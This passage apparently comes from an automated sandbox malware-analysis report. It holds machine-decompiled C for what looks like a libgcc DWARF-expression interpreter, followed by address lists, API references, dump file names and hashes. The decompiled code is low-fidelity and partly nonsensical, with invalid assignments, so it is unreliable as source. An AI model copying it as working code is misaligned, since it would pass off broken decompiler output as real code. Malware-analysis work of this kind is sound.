																		L30:
																		__eflags = __al - 8;
																		if(__al != 8) {
																			goto L96;
																		} else {
																			goto L31;
																		}
																	}
																}
															}
														}
													}
												}
											}
											goto L10;
										}
										goto L142;
									case 3:
										L21:
										__edi =  *(__esi + 1) & 0x000000ff;
										__ebp = _a20;
										__esi = __esi + 2;
										goto L10;
									case 4:
										L20:
										__edi =  *(__esi + 1);
										__ebp = _a20;
										__esi = __esi + 2;
										goto L10;
									case 5:
										L19:
										__edi =  *(__esi + 1) & 0x0000ffff;
										__ebp = _a20;
										__esi = __esi + 3;
										goto L10;
									case 6:
										L18:
										__edi =  *(__esi + 1);
										__ebp = _a20;
										__esi = __esi + 3;
										goto L10;
									case 7:
										L16:
										__edi =  *(__esi + 1);
										__ebp = _a20;
										__esi = __esi + 9;
										goto L10;
									case 8:
										L67:
										__esi = __ebx;
										__edi = 0;
										__ecx = 0;
										__eflags = 0;
										do {
											L68:
											__esi = __esi + 1;
											__edx =  *(__esi - 1) & 0x000000ff;
											 *(__esi - 1) & 0x000000ff =  *(__esi - 1) & 0x7f;
											__eax = ( *(__esi - 1) & 0x7f) << __cl;
											__ecx = __ecx + 7;
											__edi = __edi | ( *(__esi - 1) & 0x7f) << __cl;
											__eflags = __dl;
										} while (__dl < 0);
										__ebp = _a20;
										goto L10;
									case 9:
										L62:
										__edi = 0;
										__ecx = 0;
										__eflags = 0;
										do {
											L63:
											__ebx = __ebx + 1;
											__edx =  *(__ebx - 1) & 0x000000ff;
											__edx = __edx & 0x0000007f;
											__eax = (__edx & 0x0000007f) << __cl;
											__ecx = __ecx + 7;
											__edi = __edi | (__edx & 0x0000007f) << __cl;
											__eflags = __dl;
										} while (__dl < 0);
										__eflags = __ecx - 0x1f;
										if(__ecx > 0x1f) {
											goto L94;
										} else {
											L65:
											__edx = __edx & 0x00000040;
											__eflags = __edx;
											if(__edx == 0) {
												goto L94;
											} else {
												L66:
												__eax = 1;
												__ebp = _a20;
												__esi = __ebx;
												1 << __cl =  ~(1 << __cl);
												__edi = __edi |  ~(1 << __cl);
											}
										}
										goto L10;
									case 0xa:
										L60:
										__ebp = _a20;
										__eflags = __ebp;
										if(__ebp == 0) {
											goto L129;
										} else {
											L61:
											__edi =  *(__esp + 0x2c + __ebp * 4);
											__esi = __ebx;
											goto L10;
										}
										goto L142;
									case 0xb:
										L58:
										__eax = _a20;
										__eflags = __eax;
										if(__eax == 0) {
											goto L129;
										} else {
											L59:
											__eax = __eax - 1;
											__esi = __ebx;
											_a20 = __eax;
											goto L12;
										}
										goto L142;
									case 0xc:
										goto L0;
									case 0xd:
										L55:
										__ebp = _a20;
										__ecx =  *(__esi + 1) & 0x000000ff;
										__edx = __esi + 2;
										__eax =  &_v1;
										__eflags = __ecx - __eax;
										if(__ecx >= __eax) {
											goto L129;
										} else {
											L56:
											__eax = __eax - __ecx;
											__esi = __edx;
											__edi =  *(__esp + 0x30 + __eax * 4);
											goto L10;
										}
										goto L142;
									case 0xe:
										L89:
										__eax = _a20;
										__eflags = __eax - 1;
										if(__eax <= 1) {
											goto L129;
										} else {
											L90:
											__edx = __eax - 1;
											__eax = __eax - 2;
											__esi =  *(__esp + 0x30 + __eax * 4);
											__ecx =  *(__esp + 0x30 + __edx * 4);
											 *(__esp + 0x30 + __edx * 4) =  *(__esp + 0x30 + __eax * 4);
											__esi = __ebx;
											 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __edx * 4);
											goto L12;
										}
										goto L142;
									case 0xf:
										L87:
										__eax = _a20;
										__eflags = __eax - 2;
										if(__eax <= 2) {
											goto L129;
										} else {
											L88:
											__ecx = __eax - 1;
											__edx = __eax - 2;
											__eax = __eax - 3;
											__esi =  *(__esp + 0x30 + __ecx * 4);
											__ebp =  *(__esp + 0x30 + __edx * 4);
											__edi =  *(__esp + 0x30 + __eax * 4);
											 *(__esp + 0x30 + __ecx * 4) = __ebp;
											 *(__esp + 0x30 + __edx * 4) = __edi;
											 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __ecx * 4);
											__esi = __ebx;
											goto L12;
										}
										goto L142;
									case 0x10:
										L91:
										__eax = _a20;
										__eflags = __eax - 1;
										if(__eax <= 1) {
											goto L129;
										} else {
											L92:
											__ebp = __eax - 2;
											__edx = __edx - 0x1a;
											__ecx =  *(__esp + 0x2c + __eax * 4);
											__edi =  *(__esp + 0x30 + __ebp * 4);
											__eflags = __dl - 0x14;
											if(__dl > 0x14) {
												goto L96;
											} else {
												L93:
												__edx = __dl & 0x000000ff;
												switch( *((intOrPtr*)((__dl & 0x000000ff) * 4 +  &M005C3FCC))) {
													case 0:
														goto L111;
													case 1:
														goto L112;
													case 2:
														goto L113;
													case 3:
														goto L114;
													case 4:
														goto L115;
													case 5:
														goto L96;
													case 6:
														goto L116;
													case 7:
														goto L117;
													case 8:
														goto L118;
													case 9:
														goto L119;
													case 0xa:
														goto L120;
													case 0xb:
														goto L121;
													case 0xc:
														goto L122;
													case 0xd:
														goto L123;
													case 0xe:
														goto L124;
													case 0xf:
														goto L125;
													case 0x10:
														goto L126;
													case 0x11:
														goto L127;
												}
											}
											goto L10;
										}
										goto L142;
									case 0x11:
										L82:
										__eax = _a20;
										__eflags = __eax;
										if(__eax == 0) {
											goto L129;
										} else {
											L83:
											__eax = __eax - 1;
											__edi = __eax;
											_a20 = __eax;
											__eax = __esi + 3;
											__edx =  *(__esp + 0x30 + __edi * 4);
											__eflags =  *(__esp + 0x30 + __edi * 4);
											if( *(__esp + 0x30 + __edi * 4) == 0) {
												__esi = __eax;
											} else {
												__esi =  *(__esi + 1);
												__esi = __esi + __eax;
											}
											goto L12;
										}
										goto L142;
									case 0x12:
										L86:
										__eax =  *(__esi + 1);
										__esi = __esi +  *(__esi + 1) + 3;
										goto L12;
									case 0x13:
										L85:
										__edi = __eax - 0x30;
										__ebp = _a20;
										__esi = __ebx;
										goto L10;
									case 0x14:
										L50:
										__eax = __eax - 0x50;
										__eflags = __eax - 0x11;
										if(__eax > 0x11) {
											goto L129;
										} else {
											L51:
											__esi = _a28;
											__edx =  *(__eax + 0x6073f4) & 0x000000ff;
											__edi =  *(__esi + __eax * 4);
											__eflags =  *(__esi + 0x63) & 0x00000040;
											if(( *(__esi + 0x63) & 0x00000040) == 0) {
												L53:
												__eflags = __dl - 4;
												if(__dl == 4) {
													goto L39;
												} else {
													L54:
													goto L129;
												}
											} else {
												L52:
												__eflags =  *((char*)(__esi + __eax + 0x6c));
												if( *((char*)(__esi + __eax + 0x6c)) != 0) {
													goto L94;
												} else {
													goto L53;
												}
											}
										}
										goto L142;
									case 0x15:
										L40:
										__ebp = 0;
										__ecx = 0;
										__eflags = 0;
										__esi = __eax;
										do {
											L41:
											__ebx = __ebx + 1;
											__eax =  *(__ebx - 1) & 0x000000ff;
											__eax = __eax & 0x0000007f;
											__edx = (__eax & 0x0000007f) << __cl;
											__ecx = __ecx + 7;
											__ebp = __ebp | (__eax & 0x0000007f) << __cl;
											__eflags = __al;
										} while (__al < 0);
										__edi = __eax;
										__eax = __esi;
										__esi = __edi;
										__eflags = __ecx - 0x1f;
										if(__ecx <= 0x1f) {
											__esi = __esi & 0x00000040;
											__eflags = __esi;
											if(__esi != 0) {
												1 = 1 << __cl;
												__edx =  ~(1 << __cl);
												__ebp = __ebp |  ~(1 << __cl);
											}
										}
										__eax = __eax - 0x70;
										__eflags = __eax - 0x11;
										if(__eax > 0x11) {
											goto L129;
										} else {
											L45:
											__esi = _a28;
											__edx =  *(__eax + 0x6073f4) & 0x000000ff;
											__edi =  *(__esi + __eax * 4);
											__eflags =  *(__esi + 0x63) & 0x00000040;
											if(( *(__esi + 0x63) & 0x00000040) == 0) {
												L47:
												__eflags = __dl - 4;
												if(__dl != 4) {
													goto L129;
												} else {
													L48:
													__edi =  *__edi;
													goto L49;
												}
											} else {
												L46:
												__eflags =  *((char*)(__esi + __eax + 0x6c));
												if( *((char*)(__esi + __eax + 0x6c)) != 0) {
													L49:
													__edi = __edi + __ebp;
													__esi = __ebx;
													__ebp = _a20;
													goto L10;
												} else {
													goto L47;
												}
											}
										}
										goto L142;
									case 0x16:
										L33:
										__esi = 0;
										__ecx = 0;
										__eflags = 0;
										do {
											L34:
											__ebx = __ebx + 1;
											__edx =  *(__ebx - 1) & 0x000000ff;
											 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
											__eax = ( *(__ebx - 1) & 0x7f) << __cl;
											__ecx = __ecx + 7;
											__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
											__eflags = __dl;
										} while (__dl < 0);
										__eflags = __esi - 0x11;
										if(__esi > 0x11) {
											goto L129;
										} else {
											L36:
											__ecx = _a28;
											__eax =  *(__esi + 0x6073f4) & 0x000000ff;
											__edi =  *(__ecx + __esi * 4);
											__eflags =  *(__ecx + 0x63) & 0x00000040;
											if(( *(__ecx + 0x63) & 0x00000040) == 0) {
												L38:
												__eflags = __al - 4;
												if(__al != 4) {
													goto L129;
												} else {
													L39:
													__edi =  *__edi;
													__ebp = _a20;
													__esi = __ebx;
													goto L10;
												}
											} else {
												L37:
												__eflags =  *((char*)(__ecx + __esi + 0x6c));
												if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
													L94:
													__ebp = _a20;
													__esi = __ebx;
													goto L10;
												} else {
													goto L38;
												}
											}
										}
										goto L142;
									case 0x17:
										L70:
										__esi = 0;
										__ecx = 0;
										__eflags = 0;
										do {
											L71:
											__ebx = __ebx + 1;
											__edx =  *(__ebx - 1) & 0x000000ff;
											 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
											__eax = ( *(__ebx - 1) & 0x7f) << __cl;
											__ecx = __ecx + 7;
											__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
											__eflags = __dl;
										} while (__dl < 0);
										__edi = 0;
										__ecx = 0;
										__eflags = 0;
										do {
											L73:
											__ebx = __ebx + 1;
											__eax =  *(__ebx - 1) & 0x000000ff;
											 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
											__edx = ( *(__ebx - 1) & 0x7f) << __cl;
											__ecx = __ecx + 7;
											__edi = __edi | ( *(__ebx - 1) & 0x7f) << __cl;
											__eflags = __al;
										} while (__al < 0);
										__eflags = __ecx - 0x1f;
										if(__ecx <= 0x1f) {
											__eflags = __al & 0x00000040;
											if((__al & 0x00000040) != 0) {
												1 = 1 << __cl;
												__eax =  ~(1 << __cl);
												__edi = __edi |  ~(1 << __cl);
											}
										}
										__eflags = __esi - 0x11;
										if(__esi > 0x11) {
											goto L129;
										} else {
											L77:
											__ecx = _a28;
											__edx =  *(__esi + 0x6073f4) & 0x000000ff;
											__eax =  *(__ecx + __esi * 4);
											__eflags =  *(__ecx + 0x63) & 0x00000040;
											if(( *(__ecx + 0x63) & 0x00000040) == 0) {
												L79:
												__eflags = __dl - 4;
												if(__dl != 4) {
													goto L129;
												} else {
													L80:
													__eax =  *__eax;
													goto L81;
												}
											} else {
												L78:
												__eflags =  *((char*)(__ecx + __esi + 0x6c));
												if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
													L81:
													__edi = __edi + __eax;
													__ebp = _a20;
													__esi = __ebx;
													goto L10;
												} else {
													goto L79;
												}
											}
										}
										goto L142;
									case 0x18:
										L17:
										__esi = __ebx;
										goto L12;
									case 0x19:
										L32:
										__ebx =  *(__esi + 1) & 0x000000ff;
										__edx = _a28;
										__edi =  &_a44;
										__eax = __ebx;
										__eax = L00420C00(__ebx, __ecx, _a28);
										 *__esp =  &_a44;
										__ecx = __esi + 2;
										__edx = __eax;
										__eax = __ebx;
										__eax = E00420AC0(__ebx, __esi + 2, __edx);
										__edi = _a44;
										__ebp = _a20;
										__esi = __eax;
										goto L10;
									case 0x1a:
										L111:
										__edi = __edi & __ecx;
										__esi = __ebx;
										goto L10;
									case 0x1b:
										L112:
										__eax = __edi;
										__esi = __ebx;
										asm("cdq");
										_t169 = __eax % __ecx;
										__eax = __eax / __ecx;
										__edx = _t169;
										__edi = __eax;
										goto L10;
									case 0x1c:
										L113:
										__edi = __edi - __ecx;
										__esi = __ebx;
										goto L10;
									case 0x1d:
										L114:
										__eax = __edi;
										__edx = 0;
										__esi = __ebx;
										_t173 = __eax % __ecx;
										__eax = __eax / __ecx;
										__edx = _t173;
										__edi = _t173;
										goto L10;
									case 0x1e:
										L115:
										__edi = __edi * __ecx;
										__esi = __ebx;
										goto L10;
									case 0x1f:
										L116:
										__edi = __edi | __ecx;
										__esi = __ebx;
										goto L10;
									case 0x20:
										L117:
										__edi = __edi + __ecx;
										__esi = __ebx;
										goto L10;
									case 0x21:
										L118:
										__edi = __edi << __cl;
										__esi = __ebx;
										goto L10;
									case 0x22:
										L119:
										__edi = __edi >> __cl;
										__esi = __ebx;
										goto L10;
									case 0x23:
										L120:
										__edi = __edi >> __cl;
										__esi = __ebx;
										goto L10;
									case 0x24:
										L121:
										__edi = __edi ^ __ecx;
										__esi = __ebx;
										goto L10;
									case 0x25:
										L122:
										__eax = 0;
										__eflags = __edi - __ecx;
										__esi = __ebx;
										__eax = 0 | __eflags == 0x00000000;
										__edi = __eflags == 0;
										goto L10;
									case 0x26:
										L123:
										__eax = 0;
										__eflags = __edi - __ecx;
										__esi = __ebx;
										__eax = 0 | __eflags >= 0x00000000;
										__edi = __eflags >= 0;
										goto L10;
									case 0x27:
										L124:
										__eax = 0;
										__eflags = __edi - __ecx;
										__esi = __ebx;
										__eax = 0 | __eflags > 0x00000000;
										__edi = __eflags > 0;
										goto L10;
									case 0x28:
										L125:
										__eax = 0;
										__eflags = __edi - __ecx;
										__esi = __ebx;
										__eax = 0 | __eflags <= 0x00000000;
										__edi = __eflags <= 0;
										goto L10;
									case 0x29:
										L126:
										__eax = 0;
										__eflags = __edi - __ecx;
										__esi = __ebx;
										__eax = 0 | __eflags < 0x00000000;
										__edi = __eflags < 0;
										goto L10;
									case 0x2a:
										L127:
										__eax = 0;
										__eflags = __edi - __ecx;
										__esi = __ebx;
										__eax = 0 | __eflags != 0x00000000;
										__edi = __eflags != 0;
										goto L10;
								}
							}
							L142:
						}
						L13:
						__eax = _a20;
						if(__eax == 0) {
							goto L129;
						} else {
							L14:
							__eax =  *(__esp + 0x2c + __eax * 4);
							__esp = __esp + 0x13c;
							_pop(__ebx);
							_pop(__esi);
							_pop(__edi);
							_pop(__ebp);
							return __eax;
						}
						goto L142;
					}
					break;
				}
				L129:
				abort();
				L0042F4C0();
				abort();
				abort();
				abort();
				L0042F4C0();
				L0042F4C0();
				abort();
				abort();
				abort();
				abort();
				abort();
				abort();
				abort();
				_push(_t203);
				_t207 = _t206 - 0x1c;
				 *_t207 = "libgcc_s_dw2-1.dll";
				_t188 = GetModuleHandleA(_t194);
				_t208 = _t207 - 4;
				if(_t188 == 0) {
					 *0x4b6004 = 0x424590;
					_t201 = E00424340;
				} else {
					_t196 = _t188;
					 *_t208 = "libgcc_s_dw2-1.dll";
					_t191 = LoadLibraryA(??);
					_t210 = _t208 - 4;
					 *0x607df0 = _t191;
					_v40 = "__register_frame_info";
					 *_t210 = _t196;
					_t192 = GetProcAddress(??, ??);
					_t211 = _t210 - 8;
					_t201 = _t192;
					_v40 = "__deregister_frame_info";
					 *_t211 = _t196;
					 *0x4b6004 = GetProcAddress(??, ??);
					_t208 = _t211 - 8;
				}
				if(_t201 != 0) {
					_v40 = 0x60701c;
					 *_t208 = 0x5ca0f8;
					 *_t201();
				}
				 *_t208 = 0x401590;
				return E004014C0();
				goto L142;
			}

0x00421d73
0x00421d73
0x00421d73
0x00421d73
0x00421d73
0x00421d7a
0x00000000
0x00000000
0x00421d80
0x00421d80
0x00421d84
0x00421b20
0x00421b20
0x00421b23
0x00000000
0x00000000
0x00421b29
0x00421b29
0x00421b2c
0x00421b30
0x00421b34
0x00421b34
0x00421b38
0x00000000
0x00000000
0x00421af0
0x00421af0
0x00421af3
0x00421af6
0x00421afe
0x00421fb9
0x00421fb9
0x00000000
0x00421b04
0x00421b04
0x00421b04
0x00421b07
0x00000000
0x00421b10
0x00421b10
0x00421b14
0x00421b17
0x00421b17
0x00000000
0x00000000
0x00000000
0x00000000
0x00421ba0
0x00421ba0
0x00421ba4
0x00421ba6
0x00000000
0x00421bac
0x00421bac
0x00421bac
0x00421bae
0x00421bb1
0x00421bb5
0x00421bb8
0x00422059
0x00422059
0x0042205b
0x00421bbe
0x00421bbe
0x00421bbe
0x00421fc0
0x00421fc0
0x00421fc3
0x00421fd0
0x00421fd0
0x00421fd3
0x00000000
0x00421fd5
0x00421fd5
0x00421fd5
0x00421fd7
0x00421fd9
0x00421fdc
0x00421fde
0x00421fde
0x00421fc5
0x00421fc5
0x00421fc5
0x00421fc7
0x00421fc7
0x00421bc4
0x00421bc4
0x00421bc4
0x00421bc7
0x00421ff0
0x00421ff0
0x00421ff2
0x00421ff2
0x00421ff4
0x00421ff4
0x00421ff4
0x00421ff7
0x00421ffd
0x00422000
0x00422002
0x00422005
0x00422007
0x00422007
0x0042200b
0x0042200d
0x00421bcd
0x00421bcd
0x00421bcd
0x00421bd0
0x00421fb0
0x00421fb0
0x00421fb3
0x00422050
0x00422050
0x00422052
0x00000000
0x00000000
0x00000000
0x00421bd6
0x00421bd6
0x00421bd6
0x00421bda
0x00421bdd
0x00421bdf
0x00422131
0x00422131
0x00422134
0x00421be5
0x00421be5
0x00421be5
0x00422034
0x00422034
0x00422036
0x00000000
0x0042203c
0x0042203c
0x0042203c
0x0042203f
0x0042203f
0x00421beb
0x00421beb
0x00421beb
0x00421bed
0x00421bf7
0x00421bf7
0x00421bf9
0x00421bef
0x00421bef
0x00421bef
0x00421bf1
0x00000000
0x00000000
0x00000000
0x00000000
0x00421bf1
0x00421bed
0x00421be5
0x00421bdf
0x00421bd0
0x00421bc7
0x00421bbe
0x00000000
0x00421bb8
0x00000000
0x00000000
0x00421b90
0x00421b90
0x00421b94
0x00421b98
0x00000000
0x00000000
0x00421b80
0x00421b80
0x00421b84
0x00421b88
0x00000000
0x00000000
0x00421b72
0x00421b72
0x00421b76
0x00421b7a
0x00000000
0x00000000
0x00421b65
0x00421b65
0x00421b69
0x00421b6d
0x00000000
0x00000000
0x00421b55
0x00421b55
0x00421b58
0x00421b5c
0x00000000
0x00000000
0x00421e13
0x00421e13
0x00421e15
0x00421e17
0x00421e17
0x00421e20
0x00421e20
0x00421e20
0x00421e23
0x00421e29
0x00421e2c
0x00421e2e
0x00421e31
0x00421e33
0x00421e33
0x00421e37
0x00000000
0x00000000
0x00421dd0
0x00421dd0
0x00421dd2
0x00421dd2
0x00421dd4
0x00421dd4
0x00421dd4
0x00421dd7
0x00421ddd
0x00421de0
0x00421de2
0x00421de5
0x00421de7
0x00421de7
0x00421deb
0x00421dee
0x00000000
0x00421df4
0x00421df4
0x00421df4
0x00421df4
0x00421df7
0x00000000
0x00421dfd
0x00421dfd
0x00421dfd
0x00421e02
0x00421e06
0x00421e0a
0x00421e0c
0x00421e0c
0x00421df7
0x00000000
0x00000000
0x00421db0
0x00421db0
0x00421db4
0x00421db6
0x00000000
0x00421dbc
0x00421dbc
0x00421dbc
0x00421dc0
0x00000000
0x00421dc0
0x00000000
0x00000000
0x00421d90
0x00421d90
0x00421d94
0x00421d96
0x00000000
0x00421d9c
0x00421d9c
0x00421d9c
0x00421d9f
0x00421da1
0x00000000
0x00421da1
0x00000000
0x00000000
0x00000000
0x00000000
0x00421d50
0x00421d50
0x00421d54
0x00421d58
0x00421d5b
0x00421d5e
0x00421d60
0x00000000
0x00421d66
0x00421d66
0x00421d66
0x00421d68
0x00421d6a
0x00000000
0x00421d6a
0x00000000
0x00000000
0x00421f45
0x00421f45
0x00421f49
0x00421f4c
0x00000000
0x00421f52
0x00421f52
0x00421f52
0x00421f55
0x00421f58
0x00421f5c
0x00421f60
0x00421f64
0x00421f66
0x00000000
0x00421f66
0x00000000
0x00000000
0x00421f10
0x00421f10
0x00421f14
0x00421f17
0x00000000
0x00421f1d
0x00421f1d
0x00421f1d
0x00421f20
0x00421f23
0x00421f26
0x00421f2a
0x00421f2e
0x00421f32
0x00421f36
0x00421f3a
0x00421f3e
0x00000000
0x00421f3e
0x00000000
0x00000000
0x00421f70
0x00421f70
0x00421f74
0x00421f77
0x00000000
0x00421f7d
0x00421f7d
0x00421f7d
0x00421f80
0x00421f83
0x00421f87
0x00421f8b
0x00421f8e
0x00000000
0x00421f90
0x00421f90
0x00421f90
0x00421f93
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00421f93
0x00000000
0x00421f8e
0x00000000
0x00000000
0x00421ec0
0x00421ec0
0x00421ec4
0x00421ec6
0x00000000
0x00421ecc
0x00421ecc
0x00421ecc
0x00421ecf
0x00421ed1
0x00421ed5
0x00421ed8
0x00421edc
0x00421ede
0x00421fe5
0x00421ee4
0x00421ee4
0x00421ee8
0x00421ee8
0x00000000
0x00421ede
0x00000000
0x00000000
0x00421f00
0x00421f00
0x00421f04
0x00000000
0x00000000
0x00421ef0
0x00421ef0
0x00421ef3
0x00421ef7
0x00000000
0x00000000
0x00421d10
0x00421d10
0x00421d13
0x00421d16
0x00000000
0x00421d1c
0x00421d1c
0x00421d1c
0x00421d20
0x00421d27
0x00421d2a
0x00421d2e
0x00421d3b
0x00421d3b
0x00421d3e
0x00000000
0x00421d44
0x00421d44
0x00000000
0x00421d44
0x00421d30
0x00421d30
0x00421d30
0x00421d35
0x00000000
0x00000000
0x00000000
0x00000000
0x00421d35
0x00421d2e
0x00000000
0x00000000
0x00421c90
0x00421c90
0x00421c92
0x00421c92
0x00421c94
0x00421ca0
0x00421ca0
0x00421ca0
0x00421ca3
0x00421ca9
0x00421cac
0x00421cae
0x00421cb1
0x00421cb3
0x00421cb3
0x00421cb7
0x00421cb9
0x00421cbb
0x00421cbd
0x00421cc0
0x00421cc2
0x00421cc2
0x00421cc5
0x00422029
0x0042202b
0x0042202d
0x0042202d
0x00421cc5
0x00421ccb
0x00421cce
0x00421cd1
0x00000000
0x00421cd7
0x00421cd7
0x00421cd7
0x00421cdb
0x00421ce2
0x00421ce5
0x00421ce9
0x00421cf2
0x00421cf2
0x00421cf5
0x00000000
0x00421cfb
0x00421cfb
0x00421cfb
0x00000000
0x00421cfb
0x00421ceb
0x00421ceb
0x00421ceb
0x00421cf0
0x00421cfd
0x00421cfd
0x00421cff
0x00421d01
0x00000000
0x00000000
0x00000000
0x00000000
0x00421cf0
0x00421ce9
0x00000000
0x00000000
0x00421c31
0x00421c31
0x00421c33
0x00421c33
0x00421c35
0x00421c35
0x00421c35
0x00421c38
0x00421c3e
0x00421c41
0x00421c43
0x00421c46
0x00421c48
0x00421c48
0x00421c4c
0x00421c4f
0x00000000
0x00421c55
0x00421c55
0x00421c55
0x00421c59
0x00421c60
0x00421c63
0x00421c67
0x00421c74
0x00421c74
0x00421c76
0x00000000
0x00421c7c
0x00421c7c
0x00421c7c
0x00421c7e
0x00421c82
0x00000000
0x00421c82
0x00421c69
0x00421c69
0x00421c69
0x00421c6e
0x00421fa0
0x00421fa0
0x00421fa4
0x00000000
0x00000000
0x00000000
0x00000000
0x00421c6e
0x00421c67
0x00000000
0x00000000
0x00421e40
0x00421e40
0x00421e42
0x00421e42
0x00421e44
0x00421e44
0x00421e44
0x00421e47
0x00421e4d
0x00421e50
0x00421e52
0x00421e55
0x00421e57
0x00421e57
0x00421e5b
0x00421e5d
0x00421e5d
0x00421e60
0x00421e60
0x00421e60
0x00421e63
0x00421e69
0x00421e6c
0x00421e6e
0x00421e71
0x00421e73
0x00421e73
0x00421e77
0x00421e7a
0x00421e7c
0x00421e7e
0x00422019
0x0042201b
0x0042201d
0x0042201d
0x00421e7e
0x00421e84
0x00421e87
0x00000000
0x00421e8d
0x00421e8d
0x00421e8d
0x00421e91
0x00421e98
0x00421e9b
0x00421e9f
0x00421ea8
0x00421ea8
0x00421eab
0x00000000
0x00421eb1
0x00421eb1
0x00421eb1
0x00000000
0x00421eb1
0x00421ea1
0x00421ea1
0x00421ea1
0x00421ea6
0x00421eb3
0x00421eb3
0x00421eb5
0x00421eb9
0x00000000
0x00000000
0x00000000
0x00000000
0x00421ea6
0x00421e9f
0x00000000
0x00000000
0x00421b61
0x00421b61
0x00000000
0x00000000
0x00421c00
0x00421c00
0x00421c04
0x00421c08
0x00421c0c
0x00421c0e
0x00421c13
0x00421c16
0x00421c19
0x00421c1b
0x00421c1d
0x00421c22
0x00421c26
0x00421c2a
0x00000000
0x00000000
0x00422062
0x00422062
0x00422064
0x00000000
0x00000000
0x0042206b
0x0042206b
0x0042206d
0x0042206f
0x00422070
0x00422070
0x00422070
0x00422072
0x00000000
0x00000000
0x00422079
0x00422079
0x0042207b
0x00000000
0x00000000
0x00422082
0x00422082
0x00422084
0x00422086
0x00422088
0x00422088
0x00422088
0x0042208a
0x00000000
0x00000000
0x00422091
0x00422091
0x00422094
0x00000000
0x00000000
0x0042209b
0x0042209b
0x0042209d
0x00000000
0x00000000
0x004220a4
0x004220a4
0x004220a6
0x00000000
0x00000000
0x004220ad
0x004220ad
0x004220af
0x00000000
0x00000000
0x004220b6
0x004220b6
0x004220b8
0x00000000
0x00000000
0x004220bf
0x004220bf
0x004220c1
0x00000000
0x00000000
0x004220c8
0x004220c8
0x004220ca
0x00000000
0x00000000
0x004220d1
0x004220d1
0x004220d3
0x004220d5
0x004220d7
0x004220da
0x00000000
0x00000000
0x004220e1
0x004220e1
0x004220e3
0x004220e5
0x004220e7
0x004220ea
0x00000000
0x00000000
0x004220f1
0x004220f1
0x004220f3
0x004220f5
0x004220f7
0x004220fa
0x00000000
0x00000000
0x00422101
0x00422101
0x00422103
0x00422105
0x00422107
0x0042210a
0x00000000
0x00000000
0x00422111
0x00422111
0x00422113
0x00422115
0x00422117
0x0042211a
0x00000000
0x00000000
0x00422121
0x00422121
0x00422123
0x00422125
0x00422127
0x0042212a
0x00000000
0x00000000
0x00421b07
0x00000000
0x00421afe
0x00421b3a
0x00421b3a
0x00421b40
0x00000000
0x00421b46
0x00421b46
0x00421b46
0x00421b4a
0x00421b50
0x00421b51
0x00421b52
0x00421b53
0x00421b54
0x00421b54
0x00000000
0x00421b40
0x00000000
0x00421b20
0x004ae616
0x004ae616
0x004ae61b
0x004ae620
0x004ae625
0x004ae62a
0x004ae62f
0x004ae634
0x004ae639
0x004ae63e
0x004ae643
0x004ae648
0x004ae650
0x004ae655
0x004ae65a
0x004014e0
0x004014e6
0x004014e9
0x004014f0
0x004014f6
0x004014fb
0x00401570
0x0040157a
0x004014fd
0x004014fd
0x004014ff
0x00401506
0x00401512
0x00401515
0x0040151a
0x00401522
0x00401525
0x00401527
0x0040152a
0x0040152c
0x00401534
0x00401539
0x0040153e
0x0040153e
0x00401543
0x00401545
0x0040154d
0x00401554
0x00401554
0x00401556
0x00401569
0x00000000

APIs

abort.MSVCRT ref: 004AE616
abort.MSVCRT ref: 004AE61B
abort.MSVCRT ref: 004AE620
abort.MSVCRT(00422CFB), ref: 004AE625
abort.MSVCRT(00422CFB), ref: 004AE62A
abort.MSVCRT(00422CFB), ref: 004AE62F
abort.MSVCRT(00422CFB), ref: 004AE634
abort.MSVCRT(00422CFB), ref: 004AE639
abort.MSVCRT(00422CFB), ref: 004AE63E
abort.MSVCRT(00422CFB), ref: 004AE643
abort.MSVCRT(00422CFB), ref: 004AE648
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE650
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE655
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE65A

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: eb4abf02c8739b15b0ef64fbc07018b17346be252f4c4e825f8ee50e38b0767c
Instruction ID: 8af641ef13bf8411d88d21add86c866200e0eb3c0a71b091534041b15897b49c
Opcode Fuzzy Hash: eb4abf02c8739b15b0ef64fbc07018b17346be252f4c4e825f8ee50e38b0767c
Instruction Fuzzy Hash: 89D0223064A3244640103E5A314103F62B10E32B2CFC33F3FE00863022789EB80C451F

Uniqueness

Uniqueness Score: -1.00%

Function 00421DB0 Relevance: 21.0, APIs: 14, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 20%

